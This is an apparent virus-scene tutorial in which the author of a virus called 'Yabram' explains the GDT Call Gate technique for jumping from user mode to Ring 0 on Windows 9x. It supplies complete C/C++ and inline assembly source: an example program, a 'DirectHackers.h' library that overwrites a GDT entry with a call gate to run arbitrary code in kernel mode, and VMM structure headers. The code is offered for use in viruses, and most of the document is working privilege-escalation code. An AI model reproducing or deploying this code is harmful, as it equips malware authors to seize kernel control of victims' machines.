Pass to Ring 0 with C/C++ by SoPinKy... Made in Argentina It is a techniques called "Call Gate technique" to pass to Ring 0. I use this technique in my virus "Yabram". I code this techniques in MASM and C/C++. This technique consist in install a GDT Call Gate to pass to Ring 0. Resume of Callgate technique: 1) Search the GDT to find the descriptors of the Ring 0 code. 2) Save the first valid entry of the GDT. 3) Replase the first valid entry of the GDT with a Callgate. 4) Call the Callgate. 5) In my Ring 0 code i restore the GDT entry. 6) Setting the DS, ES, GS, SS register. 7) Exec the Ring 0 code ;) 8) RetF... hehehe i back to Ring 3. 9) Restore the DS, ES, GS, SS. This techniques is very secure.... ever works correctly. i coded the DirectHackers.h library... with these library i can pass a proc to Ring 0. The most usefull procs are: -InitDirectH(): This proc, search the GDT to find the descriptors of the Ring 0 code and save this descriptors. Save the first valid entry of the GDT. -CallRing0(Ring0Proc); Ring0Proc is a pointer of the proc to Call. This proc, Replase the first valid entry of the GDT with a Callgate. Call the Callgate. When the Ring0Proc return, restore the DS, ES, GS, SS. -InitRing0(); This proc, restore the GDT entry. Setting the DS, ES, GS, SS register for Ring 0. -RetCallback is a macro for return a Ring 3. Note: if you need install a program linking with C/C++ compiler as a VXD.. you must by Looked the memory used by all proc in Ring 0. Thanks: Vecna _ Hey You are a genius... and Argentinian too... GriYo _ You are a genius too ;) MrSandman _ Tnx very much. ;) int13h _ You are crazy man...... Aguante SudAmeRiCa CaRajo!!! darkman _ Tnx for correct my bad english ;) Ypsilon _ You are fany :) Somnium _ By to be woman... and Argentinian too... ViruBust _ AVPMan ... hehehe... you are great ;) WinterMute _ Whats happens with EMMA?? hahaha Reptille- _ You are my friends... my youngest friend :) Superx _ A Super Man... A Super Coder... A Super X hehehe JQwerty _ You are my inspiration....... Example: Main.CPP ------------------------------------CUT-------------------------------------- #include #include "DirectHackers.h" //it is a example of a proc in Ring 0 Ring0Proc() { InitRing0(); __asm { int 20h //get current vm _emit 0x01 //Function ID _emit 0x00 _emit VMM_ID //VXD ID _emit 0x00 //in ebx i have the handle of virtual machine } RetCallback; }; int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int nCmdShow) { MSG msg ; DWORD a; int x; __asm pusha InitDirectH(); CallRing0((unsigned int)Ring0Proc); __asm popa return 0; } ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DirectHackers.h ------------------------------------CUT-------------------------------------- #ifndef __DirectHackers_h #define __DirectHackers_h #include "VMMStruct.h" //Data DWORD VM=0,TR=0; Control_Block *VMCBSystem=0,*VMCB=0; DWORD esp3; WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register Comp *Callb,Callbcpy; //a callbacks hahaha //to return of ring 0 #define RetCallback \ _asm sti \ _asm pop edi \ _asm pop esi \ _asm pop ebx \ _asm leave \ _asm retf; InitDirectH() { FPWORD gdt; //Base of GDT Descriptor *gdtdesc; word a; __asm sgdt gdt; //get the addres of GDT gdtdesc=(Descriptor *)gdt.base; __asm //Save the ring 3 Segments selectors { mov cs3,cs mov ds3,ds mov es3,es mov sp3,sp mov fs3,fs mov gs3,gs mov esp3,esp } //Serch for the adecuate CS for(a=0;a<(gdt.limite>>3);a++) { gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a)); if(gdtdesc->limit_l==0xffff && gdtdesc->base_l==0x0000 && gdtdesc->base_m==0x00 && gdtdesc->access==0x9b && gdtdesc->limit_h== 0xcf && gdtdesc->base_h==0x00)break; } cs0=a<<3; //Serch for the adecuate DS, ES, Etc for(a=0;a<(gdt.limite>>3);a++) { gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a)); if(gdtdesc->limit_l==0xffff && gdtdesc->base_l==0x0000 && gdtdesc->base_m==0x00 && gdtdesc->access==0x93 && gdtdesc->limit_h== 0xcf && gdtdesc->base_h==0x00)break; } ds0=a<<3; es0=a<<3; fs0=a<<3; gs0=a<<3; } //Call a proc and switch to ring 0 CallRing0(DWORD PUNTERO) { FPWORD gdt; Descriptor *gdtdesc; Comp *Callb,Callbcpy; FARJMP salto; WORD h,l; salto.offset32=0; salto.seg=0x08; __asm sgdt gdt; gdtdesc=(Descriptor *)(gdt.base+8); Callb=(Comp *)(gdt.base+8); Callbcpy.sel=Callb->sel; //make a copy Callbcpy.attrib=Callb->attrib; Callbcpy.offs_l=Callb->offs_l; Callbcpy.offs_h=Callb->offs_h; Callb->sel=cs0; Callb->attrib=0xec00;; __asm { mov eax,PUNTERO mov l,ax shr eax,16 mov h,ax } Callb->offs_l=l; Callb->offs_h=h; __asm { push ds push es push gs push fs }//save the ring 3 segment selectors __asm //Call the CALL GATE!!!! { cli call FWORD PTR salto } //restore de segment selectors in ring 3 __asm { cli pop fs pop gs pop es pop ds sti } return; } InitRing0() { FPWORD gdt; Comp *Callb; __asm sgdt gdt; __asm cli Callb=(Comp *)(gdt.base+8); Callb->sel=Callbcpy.sel; Callb->attrib=Callbcpy.attrib; Callb->offs_l=Callbcpy.offs_l; Callb->offs_h=Callbcpy.offs_h; __asm { mov ds,ds0 mov es,es0 mov fs,fs0 mov gs,gs0 sti //int 3h int 20h _emit 0x08 //get the thead handle _emit 0x01 _emit VMM_ID _emit 0x00 mov TR,edi int 20h _emit 0x01 //get current vm _emit 0x00 _emit VMM_ID _emit 0x00 mov VM,ebx //current VM handle, osea de sistema sti } } #endif ------------------------------------CUT-------------------------------------- VMMStruct.h ------------------------------------CUT-------------------------------------- #ifndef __vmmstruct_h #define __vmmstruct_h //definitions #define Get_Cur_VM_Handle 0x01 #define Get_VMM_Version 0x00 #define VMM_ID 0x01 #define VDD_ID 0x0a #define VFD_ID 0x0011f; #define VWIN32_ID 0x0002A #define SHELL_ID 0x00017 #define word unsigned short #define dword unsigned int #define DWORD unsigned int #define WORD unsigned short #define byte unsigned char #define BYTE unsigned char //Structs #pragma pack(1) typedef struct { word limite; dword base; }FPWORD; typedef struct { dword offset32; word seg; }FARJMP; //struct of descriptors typedef struct { WORD limit_l; WORD base_l; BYTE base_m; BYTE access; BYTE limit_h; BYTE base_h; }Descriptor; typedef struct { WORD desp_l; WORD sel; BYTE tipo_l; BYTE tipo_h; BYTE desp_h; }Idt_Descriptor; //compuertas del 386 typedef struct { WORD offs_l; WORD sel; WORD attrib; WORD offs_h; }Comp; //Description Block typedef struct { ULONG DDB_Next; /* VMM RESERVED FIELD */ USHORT DDB_SDK_Version; /* INIT RESERVED FIELD */ USHORT DDB_Req_Device_Number;/* INIT */ UCHAR DDB_Dev_Major_Version; /* INIT <0> Major device number */ UCHAR DDB_Dev_Minor_Version; /* INIT <0> Minor device number */ USHORT DDB_Flags; /* INIT <0> for init calls complete */ UCHAR DDB_Name[8]; /* AINIT <" "> Device name */ ULONG DDB_Init_Order; /* INIT */ ULONG DDB_Control_Proc;/* Offset of control procedure */ ULONG DDB_V86_API_Proc;/* INIT <0> Offset of API procedure */ ULONG DDB_PM_API_Proc; /* INIT <0> Offset of API procedure */ ULONG DDB_V86_API_CSIP;/* INIT <0> CS:IP of API entry point */ ULONG DDB_PM_API_CSIP; /* INIT <0> CS:IP of API entry point */ ULONG DDB_Reference_Data; /* Reference data from real mode */ ULONG DDB_Service_Table_Ptr;/* INIT <0> Pointer to service table */ ULONG DDB_Service_Table_Size; /* INIT <0> Number of services */ ULONG DDB_Win32_Service_Table;/* INIT <0> Pointer to Win32 services */ ULONG DDB_Prev; /* INIT <'Prev'> Ptr to prev 4.0 DDB */ ULONG DDB_Size; /* INIT Reserved */ ULONG DDB_Reserved1;/* INIT <'Rsv1'> Reserved */ ULONG DDB_Reserved2;/* INIT <'Rsv2'> Reserved */ ULONG DDB_Reserved3;/* INIT <'Rsv3'> Reserved */ }Desc_Block; //Control block typedef struct { ULONG Client_EDI; /* Client's EDI */ ULONG Client_ESI; /* Client's ESI */ ULONG Client_EBP; /* Client's EBP */ ULONG Client_res0; /* ESP at pushall */ ULONG Client_EBX; /* Client's EBX */ ULONG Client_EDX; /* Client's EDX */ ULONG Client_ECX; /* Client's ECX */ ULONG Client_EAX; /* Client's EAX */ ULONG Client_Error; /* Dword error code */ ULONG Client_EIP; /* EIP */ USHORT Client_CS; /* CS */ USHORT Client_res1; /* (padding) */ ULONG Client_EFlags; /* EFLAGS */ ULONG Client_ESP; /* ESP */ USHORT Client_SS; /* SS */ USHORT Client_res2; /* (padding) */ USHORT Client_ES; /* ES */ USHORT Client_res3; /* (padding) */ USHORT Client_DS; /* DS */ USHORT Client_res4; /* (padding) */ USHORT Client_FS; /* FS */ USHORT Client_res5; /* (padding) */ USHORT Client_GS; /* GS */ USHORT Client_res6; /* (padding) */ ULONG Client_Alt_EIP; USHORT Client_Alt_CS; USHORT Client_res7; ULONG Client_Alt_EFlags; ULONG Client_Alt_ESP; USHORT Client_Alt_SS; USHORT Client_res8; USHORT Client_Alt_ES; USHORT Client_res9; USHORT Client_Alt_DS; USHORT Client_res10; USHORT Client_Alt_FS; USHORT Client_res11; USHORT Client_Alt_GS; USHORT Client_res12; }Client_Reg_Struc; typedef struct Thread_Control_Block { ULONG TCB_Flags; /* Thread status flags */ ULONG TCB_Reserved1; /* Used internally by VMM */ ULONG TCB_Reserved2; /* Used internally by VMM */ ULONG TCB_Signature; ULONG TCB_ClientPtr; /* Client registers of thread */ ULONG TCB_VMHandle; /* VM that thread is part of */ USHORT TCB_ThreadId; /* Unique Thread ID */ USHORT TCB_PMLockOrigSS; /* Original SS:ESP before lock stack */ ULONG TCB_PMLockOrigESP; ULONG TCB_PMLockOrigEIP; /* Original CS:EIP before lock stack */ ULONG TCB_PMLockStackCount; USHORT TCB_PMLockOrigCS; USHORT TCB_PMPSPSelector; ULONG TCB_ThreadType; /* dword passed to VMMCreateThread */ USHORT TCB_pad1; /* reusable; for dword align */ UCHAR TCB_pad2; /* reusable; for dword align */ UCHAR TCB_extErrLocus; /* extended error Locus */ USHORT TCB_extErr; /* extended error Code */ UCHAR TCB_extErrAction; /* " " Action */ UCHAR TCB_extErrClass; /* " " Class */ ULONG TCB_extErrPtr; /* " pointer */ }Thread_Control_Block; typedef struct { DWORD CB_VM_Status ; DWORD CB_High_Linear ; DWORD CB_Client_Pointer ; DWORD CB_VMID ; DWORD CB_Signature ; }Control_Block; #endif ------------------------------------CUT-------------------------------------- by SoPinKy... Made in Argentina by SoPinKy... Made in Argentina